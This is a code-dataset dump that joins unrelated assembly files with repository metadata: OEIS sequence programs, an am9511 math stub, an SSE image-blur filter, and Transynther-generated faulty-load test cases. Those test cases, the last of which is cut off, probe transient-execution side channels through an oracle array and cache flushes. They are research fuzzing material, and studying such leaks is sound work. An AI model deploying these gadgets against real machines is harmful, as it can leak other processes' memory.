35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
| 31.754789
| 2,999
| 0.655647
|
1377a99239cfa3625ac6a1b91a6be8a578348354
| 453
|
asm
|
Assembly
|
oeis/053/A053385.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/053/A053385.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/053/A053385.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A053385: A053398(5, n).
; Submitted by Jamie Morken(s4)
; 0,1,0,3,0,1,0,3,0,1,0,4,0,1,0,4,0,1,0,3,0,1,0,3,0,1,0,5,0,1,0,5,0,1,0,3,0,1,0,3,0,1,0,4,0,1,0,4,0,1,0,3,0,1,0,3,0,1,0,6,0,1,0,6,0,1,0,3,0,1,0,3,0,1,0,4,0,1,0,4,0,1,0,3,0,1,0,3,0,1,0,5,0,1,0,5,0,1,0,3
seq $0,98894 ; Values of n such that {s(1),...,s(n)} is a palindrome, where {s(1),s(2),...} is the fixed-point of the substitutions 0->1 and 1->110.
lpb $0
dif $0,2
add $1,1
lpe
mov $0,$1
| 41.181818
| 201
| 0.565121
|
d8c361b27463202e91fa0d5abddbb517beba9278
| 6,709
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1468.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1468.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1468.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x3010, %rdx
add $32633, %r11
movb $0x61, (%rdx)
nop
nop
nop
cmp %rsi, %rsi
lea addresses_A_ht+0x6b34, %r10
nop
nop
nop
cmp $4820, %r11
movw $0x6162, (%r10)
nop
nop
nop
nop
and %r10, %r10
lea addresses_WC_ht+0x8c70, %rsi
lea addresses_A_ht+0xab30, %rdi
clflush (%rsi)
nop
nop
nop
xor $29859, %rax
mov $106, %rcx
rep movsb
nop
nop
nop
nop
add $56294, %r10
lea addresses_A_ht+0xa1b0, %rsi
lea addresses_WT_ht+0x9a30, %rdi
xor %r11, %r11
mov $55, %rcx
rep movsq
nop
nop
xor %rdx, %rdx
lea addresses_WC_ht+0x1717c, %r10
nop
nop
nop
nop
nop
xor $21301, %rbp
movb $0x61, (%r10)
inc %rbp
lea addresses_WC_ht+0x7bfc, %rdi
nop
and %rdx, %rdx
mov (%rdi), %ax
nop
add %rdx, %rdx
lea addresses_D_ht+0x104f8, %r11
nop
nop
nop
nop
nop
xor $57180, %r10
and $0xffffffffffffffc0, %r11
movaps (%r11), %xmm4
vpextrq $0, %xmm4, %rdi
nop
nop
nop
nop
nop
cmp %rbp, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
// Store
lea addresses_D+0x1d850, %r13
nop
nop
nop
nop
nop
sub $33962, %rbx
mov $0x5152535455565758, %r15
movq %r15, %xmm3
movaps %xmm3, (%r13)
nop
nop
nop
nop
add %r15, %r15
// Store
lea addresses_UC+0x4c30, %rcx
nop
add $44722, %rdi
mov $0x5152535455565758, %r13
movq %r13, %xmm1
vmovups %ymm1, (%rcx)
nop
nop
nop
nop
nop
cmp $24343, %rcx
// Store
lea addresses_RW+0x1b56c, %rdx
sub $24337, %r15
mov $0x5152535455565758, %rdi
movq %rdi, (%rdx)
nop
nop
nop
add $32722, %r14
// Store
lea addresses_normal+0x8b30, %rcx
cmp $9584, %rdi
movb $0x51, (%rcx)
nop
nop
nop
xor %r13, %r13
// Faulty Load
lea addresses_WT+0x5a30, %rdi
dec %r13
mov (%rdi), %rdx
lea oracles, %rcx
and $0xff, %rdx
shlq $12, %rdx
mov (%rcx,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 8}}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 35.310526
| 2,999
| 0.655388
|
83d053a26357916da4aff652ae6f6e2ba9146ad2
| 225
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_pow.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_pow.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_pow.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_fp_am9511
PUBLIC cam32_sccz80_pow
EXTERN cam32_sccz80_switch_arg, cam32_sccz80_readl
EXTERN asm_am9511_pow
.cam32_sccz80_pow
call cam32_sccz80_switch_arg
call cam32_sccz80_readl
jp asm_am9511_pow
| 17.307692
| 50
| 0.848889
|
27abf13bbf3ddaed42c3f68bddddf44a425616ef
| 1,765
|
asm
|
Assembly
|
programs/oeis/219/A219393.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/219/A219393.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/219/A219393.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A219393: Numbers k such that 23*k+1 is a square.
; 0,21,25,88,96,201,213,360,376,565,585,816,840,1113,1141,1456,1488,1845,1881,2280,2320,2761,2805,3288,3336,3861,3913,4480,4536,5145,5205,5856,5920,6613,6681,7416,7488,8265,8341,9160,9240,10101,10185,11088,11176,12121,12213,13200,13296,14325,14425,15496,15600,16713,16821,17976,18088,19285,19401,20640,20760,22041,22165,23488,23616,24981,25113,26520,26656,28105,28245,29736,29880,31413,31561,33136,33288,34905,35061,36720,36880,38581,38745,40488,40656,42441,42613,44440,44616,46485,46665,48576,48760,50713,50901,52896,53088,55125,55321,57400,57600,59721,59925,62088,62296,64501,64713,66960,67176,69465,69685,72016,72240,74613,74841,77256,77488,79945,80181,82680,82920,85461,85705,88288,88536,91161,91413,94080,94336,97045,97305,100056,100320,103113,103381,106216,106488,109365,109641,112560,112840,115801,116085,119088,119376,122421,122713,125800,126096,129225,129525,132696,133000,136213,136521,139776,140088,143385,143701,147040,147360,150741,151065,154488,154816,158281,158613,162120,162456,166005,166345,169936,170280,173913,174261,177936,178288,182005,182361,186120,186480,190281,190645,194488,194856,198741,199113,203040,203416,207385,207765,211776,212160,216213,216601,220696,221088,225225,225621,229800,230200,234421,234825,239088,239496,243801,244213,248560,248976,253365,253785,258216,258640,263113,263541,268056,268488,273045,273481,278080,278520,283161,283605,288288,288736,293461,293913,298680,299136,303945,304405,309256,309720,314613,315081,320016,320488,325465,325941,330960,331440,336501,336985,342088,342576,347721,348213,353400,353896,359125
mov $2,$0
mov $3,$0
lpb $0,1
mov $0,0
mov $1,19
add $2,1
div $2,2
mul $1,$2
mul $2,$1
lpe
mov $1,$2
add $1,$3
mov $4,$3
mul $4,$3
add $1,$4
| 92.894737
| 1,560
| 0.803966
|
505e31fd5c92b51a8de69dc5db4f4536307c54e2
| 6,620
|
asm
|
Assembly
|
src/filters/ASM_blur1.asm
|
ignaciolebrero/Orga2-TP2
|
404e39e76dafd05af81e29be2d1210d8fb50a96e
|
[
"MIT"
] | null | null | null |
src/filters/ASM_blur1.asm
|
ignaciolebrero/Orga2-TP2
|
404e39e76dafd05af81e29be2d1210d8fb50a96e
|
[
"MIT"
] | null | null | null |
src/filters/ASM_blur1.asm
|
ignaciolebrero/Orga2-TP2
|
404e39e76dafd05af81e29be2d1210d8fb50a96e
|
[
"MIT"
] | null | null | null |
; ************************************************************************* ;
; Organizacion del Computador II ;
; ;
; Implementacion de la funcion Blur 1 ;
; ;
; ************************************************************************* ;
extern malloc
extern free
%define elimprim 00000000h
; void ASM_blur1( uint32_t w, uint32_t h, uint8_t* data )
; edi , esi , rdx
global ASM_blur1
divs: dd 9.0, 9.0, 9.0, 9.0
shuf: db 0x00,0x04,0x08,0x0C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
_floor: dd 0x7F80
ASM_blur1:
push RBP
mov RBP, RSP
push RBX
push R12
push R13
push R14
push R15
sub rsp, 8
ldmxcsr [_floor] ; Algo de redondeo
mov edi, edi ; Extiendo ceros
mov esi, esi
; Malloceo memoria temp (push y pop para no perder cosas importantes)
push rdi
push rsi
push rdx
mov r12d, edi
mov r13d, esi
mov rax, r12
mul r13
shl rax, 2
mov rdi, rax
call malloc
mov r10, rax ; r10 puntero a estructura temporal
pop rdx
pop rsi
pop rdi
mov r8, rdi ; r8 = w Copio tamaños para calcular direcciones
mov r9, rsi ; r9 = h
mov eax, elimprim ; eax = 0 dword, lo voy a usar para borrar el pixel que agarro de mas
dec rdi ; rdi = w-1 : Limite del loop de pixeles en fila
dec rsi ; rsi = h-1 : Limite del loop de filas
mov rbx, 1 ; rbx = 1 : "iw" itera pixeles en fila
mov rcx, 1 ; rcx = 1 : "ih" itera filas
movdqu xmm9, [divs] ; xmm9 = | 9.0 | 9.0 | 9.0 | 9.0 |
movdqu xmm10, [shuf] ; Shuffle para pasar dword int a byte int
mov r15, rdi
dec r15 ; Limite ultimo pixel w
mov r14, rsi
dec r14 ; Limite ultimo pixel h
; Al cargar los datos para el ultimo pixel, el pixel "de mas" no existe, sino que es espacio de memoria
; que no se supone que puedo acceder. R15 y R14 es para detectar cuando llego a esta posicion
loopw:
movdqu xmm1, [rdx + rbx*4 - 4] ; xmm1 = |d[0][iw+2]|d[0][iw+1]|d[0][iw]|d[0][iw-1]| d son 4 bytes A R G y B
lea r12, [rdx + r8*4]
lea r12, [r12 + rbx*4 - 4] ; r12 apunta a la misma columna de la siguiente fila
movdqu xmm3, [r12] ; xmm3 = |d[1][iw+2]|d[1][iw+1]|d[1][iw]|d[1][iw-1]|
pinsrd xmm1, eax, 03h ; xmm1 = | 0 |d[0][iw+1]|d[0][iw]|d[0][iw-1]|
pinsrd xmm3, eax, 03h ; xmm3 = | 0 |d[1][iw+1]|d[1][iw]|d[1][iw-1]|
movdqu xmm2, xmm1 ; xmm2 = xmm1
movdqu xmm4, xmm3 ; xmm4 = xmm3
pxor xmm8, xmm8 ; xmm8 = |0|
punpcklbw xmm1, xmm8 ; xmm1 = |d[0][iw] |d[0][iw-1]| d ahora son 4 words A R G y B extendidos con ceros
punpckhbw xmm2, xmm8 ; xmm2 = | 0 |d[0][iw+1]|
punpcklbw xmm3, xmm8 ; xmm3 = |d[1][iw] |d[1][iw-1]|
punpckhbw xmm4, xmm8 ; xmm4 = | 0 |d[1][iw+1]|
paddw xmm1, xmm2 ; xmm1 = |d[0][iw]|d[0][iw-1]+d[0][iw+1]|
paddw xmm3, xmm4 ; xmm3 = |d[1][iw]|d[1][iw-1]+d[1][iw+1]|
movdqu xmm2, xmm1 ; xmm2 = xmm1
movdqu xmm4, xmm3 ; xmm4 = xmm3
psrldq xmm2, 8 ; xmm2 = | 0 |d[0][iw]|
psrldq xmm4, 8 ; xmm4 = | 0 |d[1][iw]|
paddw xmm1, xmm2 ; xmm1 = | X |d[0][iw-1]+d[0][iw+1]+d[0][iw]|
paddw xmm3, xmm4 ; xmm3 = | X |d[1][iw-1]+d[1][iw+1]+d[1][iw]|
movdqu xmm2, xmm3 ; xmm2 = xmm3
lea r13, [r10 + r8*4]
lea r13, [r13 + rbx*4] ; posicion del pixel a calcular
lea r12, [r12 + r8*4] ; posicion del pixel de la fila siguiente a procesar
looph:
movdqu xmm0, xmm1 ;xmm0 suma pixeles fila anterior
movdqu xmm1, xmm2 ;xmm1 suma pixeles fila actual
movdqu xmm2, [r12] ; xmm2 = |d[ih+1][iw+2] |d[ih+1][iw+1]|d[ih+1][iw]|d[ih+1][iw -1]|
pinsrd xmm2, eax, 03h ; xmm2 = | 0 |d[ih+1][iw+1]|d[ih+1][iw]|d[ih+1][iw -1]|
contlastpixel:
movdqu xmm3, xmm2 ; xmm3 = xmm2
punpcklbw xmm2, xmm8 ; xmm2 = |d[ih+1][iw] |d[ih+1][iw-1]| d ahora son 4 words A R G y B extendidos con ceros
punpckhbw xmm3, xmm8 ; xmm3 = | 0 |d[ih+1][iw+1]|
paddw xmm2, xmm3 ; xmm2 = |d[ih+1][iw]|d[ih+1][iw-1]+d[ih+1][iw+1]|
movdqu xmm3, xmm2 ; xmm3 = xmm2
psrldq xmm3, 8 ; xmm3 = | 0 |d[ih+1][iw]|
paddw xmm2, xmm3 ; xmm2 = | X |d[ih+1][iw-1]+d[ih+1][iw+1]+d[ih+1][iw]|
paddw xmm0, xmm2
paddw xmm0, xmm1 ; xmm0 = | X |SUMA d[x][y] con x = {ih-1, ih, ih+1} y = {iw-1, iw, iw+1}|
punpcklwd xmm0, xmm8 ; xmm0 = |SUMA d[x][y] con x = {ih-1, ih, ih+1} y = {iw-1, iw, iw+1}| 4 dwords A R G y B extendidos con ceros
CVTDQ2PS xmm3, xmm0 ; xmm3 = | R | A | B | G |
divps xmm3, xmm9 ; xmm3 = | R/9 | A/9 | B/9 | G/9 |
CVTPS2DQ xmm0, xmm3 ; xmm0 = | R' | A' | B' | G' |
pshufb xmm0, xmm10 ; xmm0 = | 0 | 0 | 0 |R|A|G|B|
PEXTRD [r13], xmm0, 00b ; grabo a memoria
lea r13, [r13 + r8*4]
lea r12, [r12 + r8*4]
inc rcx ; incremento ih
cmp rbx, r15 ; Me fijo si llegue a la ultima columna a procesar
jne cont
cmp rcx, r14 ; En caso de estar en ultima columna a procesar, me fijo si llegue a ultima fila a procesar
je lastpixel ; Salto a ultimo caso especial (ultimo pixel)
cont:
cmp rcx, rsi ; Me fijo si llegue a ultima linea, loop normal
jne looph
mov rcx, 1
inc rbx
cmp rbx, rdi
jne loopw
jmp copy
lastpixel:
movdqu xmm0, xmm1 ;xmm0 suma pixeles fila anterior
movdqu xmm1, xmm2 ;xmm1 suma pixeles fila actual
movdqu xmm2, [r12-4] ; xmm2 = |d[ih+1][iw+1] |d[ih+1][iw] |d[ih+1][iw -1] |d[ih+1][iw -2]|
psrldq xmm2, 4 ; xmm2 = | 0 |d[ih+1][iw+1] |d[ih+1][iw] |d[ih+1][iw -1]|
jmp contlastpixel
; Copio todo lo procesado a la imagen original
copy:
lea r12, [r10 + r8*4] ; r12 apunta a data temporal, desde segunda linea
lea r14, [rdx + r8*4] ; r14 apunta a data original, desde segunda linea
xor rcx, rcx ; rcx = 0 countx
mov rbx, 1 ; rbx = 1 county (no paso por borde superior)
mov r15, r8 ; r15 = w
dec r15 ; r15 = w-1 (para ver si llego al borde, los bordes no se cambian)
dec r9 ; r9 = h-1 (idem)
copywhile:
cmp rcx, 0 ; Borde izquierdo
je borde
cmp rcx, r15 ; Borde derecho
je borde
mov r11d, [r12] ; Copy
mov [r14], r11d ; Paste
borde: ; Si vengo aca salteo la copia
inc rcx ; inc x
add r14, 4 ; Avanzo
add r12, 4 ; *
cmp rcx, r8 ; Termino la fila
jne copywhile
mov rcx, 0
inc rbx ; inc y
cmp rbx, r9 ; Borde inferior
jne copywhile
; Freeo la data temporal
mov rdi, r10
call free
add rsp, 8
pop r15
pop r14
pop r13
pop r12
pop rbx
pop rbp
ret
| 38.941176
| 136
| 0.557553
|
ed40c2dd120d09336c397ede3166eafbd5afdb5e
| 7,046
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_18406_779.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_18406_779.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_18406_779.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x1770f, %rsi
nop
nop
nop
nop
nop
xor $60580, %r12
mov (%rsi), %rcx
nop
nop
dec %rdi
lea addresses_WC_ht+0x1714f, %rsi
lea addresses_WC_ht+0xb10f, %rdi
sub %r13, %r13
mov $27, %rcx
rep movsb
nop
nop
nop
nop
add $24994, %rsi
lea addresses_A_ht+0x13de7, %rsi
lea addresses_WC_ht+0x1150f, %rdi
sub $37081, %rdx
mov $85, %rcx
rep movsl
nop
add %rsi, %rsi
lea addresses_normal_ht+0x1ec4f, %rcx
nop
nop
cmp $32762, %r8
mov $0x6162636465666768, %r12
movq %r12, %xmm3
movups %xmm3, (%rcx)
nop
nop
nop
xor $3363, %rsi
lea addresses_A_ht+0x1480f, %rsi
lea addresses_D_ht+0x1118f, %rdi
nop
nop
nop
add $54827, %r8
mov $72, %rcx
rep movsl
nop
nop
nop
nop
nop
sub %r8, %r8
lea addresses_WT_ht+0x2e0f, %rsi
lea addresses_A_ht+0x850f, %rdi
nop
nop
nop
dec %rdx
mov $35, %rcx
rep movsw
nop
add $27105, %rdx
lea addresses_UC_ht+0x196ff, %r13
nop
nop
nop
nop
and %rdi, %rdi
movb (%r13), %dl
nop
nop
inc %rdi
lea addresses_WT_ht+0x1470f, %rsi
nop
xor %rdx, %rdx
mov $0x6162636465666768, %r12
movq %r12, (%rsi)
nop
sub $47485, %rdi
lea addresses_UC_ht+0x717f, %rsi
lea addresses_normal_ht+0x470f, %rdi
and $54725, %r13
mov $117, %rcx
rep movsw
nop
and %r12, %r12
lea addresses_WT_ht+0x1584f, %rdx
clflush (%rdx)
nop
nop
nop
sub $38435, %rdi
mov (%rdx), %r12
nop
nop
nop
nop
xor $44591, %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r14
push %rax
push %rbx
push %rcx
// Store
lea addresses_PSE+0x608f, %r10
nop
nop
nop
inc %r12
mov $0x5152535455565758, %rax
movq %rax, %xmm7
movups %xmm7, (%r10)
// Exception!!!
nop
mov (0), %r10
nop
nop
nop
nop
cmp %rax, %rax
// Load
mov $0x4cf, %rax
nop
nop
nop
nop
nop
cmp $19642, %r14
mov (%rax), %r10w
nop
add $41181, %rax
// Faulty Load
lea addresses_RW+0x670f, %r13
nop
cmp %r12, %r12
mov (%r13), %cx
lea oracles, %r10
and $0xff, %rcx
shlq $12, %rcx
mov (%r10,%rcx,1), %rcx
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
